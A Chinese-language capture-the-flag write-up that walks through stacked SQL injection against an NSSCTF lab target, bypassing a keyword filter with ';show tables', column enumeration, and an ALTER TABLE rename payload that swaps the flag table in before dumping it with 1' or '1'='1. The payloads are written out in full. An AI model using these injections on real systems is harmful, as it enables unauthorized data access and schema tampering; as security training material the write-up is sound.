

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

1.先提交一下

姿势:

```
array(2) {  
    [0]=>  
    string(1) "1"  
    [1]=>  
    string(7) "hahahah"  
}
```

2.判断引号闭合为单引号，可以用"--"注释符

姿势: 1 提交查询

```
array(2) {
    [0]=>
    string(1) "1"
    [1]=>
    string(7) "hahahah"
}
```

The screenshot shows a web-based penetration testing tool. At the top, there's a search bar with the placeholder '姿势: 1' and a '提交查询' button. Below the search bar is a navigation bar with icons for '查看器' (Viewer), '控制台' (Console), '调试器' (Debugger), '网络' (Network), '样式编辑器' (Style Editor), '性能' (Performance), and '内存' (Memory). The main area contains several dropdown menus: 'LOAD', 'SPLIT', 'EXECUTE', 'TEST', 'SQLI', 'XSS'. A URL input field shows 'http://node4.anna.nssctf.cn:20784/?inject=1' with a trailing '--+'.

3.在进行union注入时可以看到很多都被过滤了

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```

This screenshot is similar to the one above, showing the same interface and toolbars. The URL input field now contains 'http://node4.anna.nssctf.cn:20784/?inject=1' followed by 'union select 1,2,3--+'.

于是采用堆叠注入，推一下数据库结构

```
array(1) {
    [0]=>
    string(16) "1919810931114514"
}

array(1) {
    [0]=>
    string(5) "words"
}
```

This screenshot shows the same interface again. The URL input field now contains 'http://node4.anna.nssctf.cn:20784/?inject=1';show tables--+'.

查看1919810931114514可以看到有flag列，估计flag就在这了

```
array(6) {
    [0]=>
    string(4) "flag"
    [1]=>
    string(12) "varchar(100)"
    [2]=>
    string(2) "NO"
    [3]=>
    string(0) ""
    [4]=>
    NULL
    [5]=>
    string(0) ""
}
```

The screenshot shows the HackBar interface with various tabs like View, Control, Debugger, Network, Style Editor, Performance, Memory, Storage, Accessibility, Applications, and HackBar. Below the tabs, there are dropdown menus for LOAD, SPLIT, EXECUTE, TEST, SQLI, XSS, LFI, SSRF, SSTI, and SHELL. A URL input field contains `http://node4.anna.nssctf.cn:20784/?inject=1';show columns from `1919810931114514`--+`. A checkbox labeled 'Use POST method' is checked. A 'MODIFY HEADER' button is visible.

查看words表结构

```
array(6) {
    [0]=>
    string(2) "id"
    [1]=>
    string(7) "int(10)"
    [2]=>
    string(2) "NO"
    [3]=>
    string(0) ""
    [4]=>
    NULL
    [5]=>
    string(0) ""
}

array(6) {
    [0]=>
    string(4) "data"
    [1]=>
    string(11) "varchar(20)"
    [2]=>
    string(2) "NO"
    [3]=>
    string(0) ""
    [4]=>
    NULL
    [5]=>
    string(0) ""
}
```

The screenshot shows the HackBar interface with various tabs like View, Control, Debugger, Network, Style Editor, Performance, Memory, Storage, Accessibility, Applications, and HackBar. Below the tabs, there are dropdown menus for LOAD, SPLIT, EXECUTE, TEST, SQLI, XSS, LFI, SSRF, SSTI, SHELL, and ENCODER. A URL input field contains `http://node4.anna.nssctf.cn:20784/?inject=1';show columns from words--+`.

通过观察可以看到words有两列，可以大体推出sql查询语句

```
select * from words where id='".$$_GET['inject']."'
```

那我们就可以先把**words**表改名为**words1**

```
alter table words rename words1;
```

再将**1919810931114514**改名为**words**，相当于替换了数据

```
alter table `1919810931114514` rename words;
```

最后把**flag**列改成**id**，实现伪造

```
alter table words change flag id varchar(60);
```

得到payload

```
?inject=1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);
```

4.注入payload实现偷梁换柱，这时可以看到什么也没有了

因为原来的**words**有两列，被我们替换后只有一列了，查询语句还是之前那个，所以查不到**data**列就中断了，类似：

```
$sql = "select * from words where id='".$GET['inject']."'";  
$result = $db->query($sql);  
while($row = $result->fetch_assoc()){  
    echo "ID: " . $row['id'] . "<br>";  
    echo "Data: " . $row['data'] . "<br>";  
}
```

姿势: 1

The screenshot shows the HackBar interface with the following details:

- Top navigation bar: 查看器 (Viewer), 控制台 (Console), 调试器 (Debugger), 网络 (Network), 样式编辑器 (Style Editor), 性能 (Performance), 内存 (Memory), 存储 (Storage), 无障碍环境 (Accessibility), 应用程序 (Applications), HackBar.
- Tool tabs: LOAD, SPLIT, EXECUTE, TEST, SQLI, XSS, LFI, SSRF, SSTI, SHELL, ENCODING.
- URL input field: http://node4.anna.nssctf.cn:20784/?inject=1';alter table words rename words1;alter table `1919810931114514` rename words;alter table words change flag id varchar(60);--+

这时再注入1'or'1'='1，构成下面sql语句，实现永久为true，把数据全部输出，得到flag

```
SELECT * FROM words WHERE id='1' or '1'='1'
```

```
array(1) {
    [0]=>
    string(44) "NSSCTF{9a82c930-1122-41e5-a9e5-ffff3491082c9}"
}
```

↶ | ☑ 查看器 ☐ 控制台 ☐ 调试器 ↑↓ 网络 { } 样式编辑器 ⚡ 性能 🛡 内存 ⏟ 存储

LOAD ▾ SPLIT EXECUTE TEST ▾ SQLI ▾ XSS ▾ LFI ▾

URL

<http://node4.anna.nssctf.cn:20784/?inject=1' or '1='1>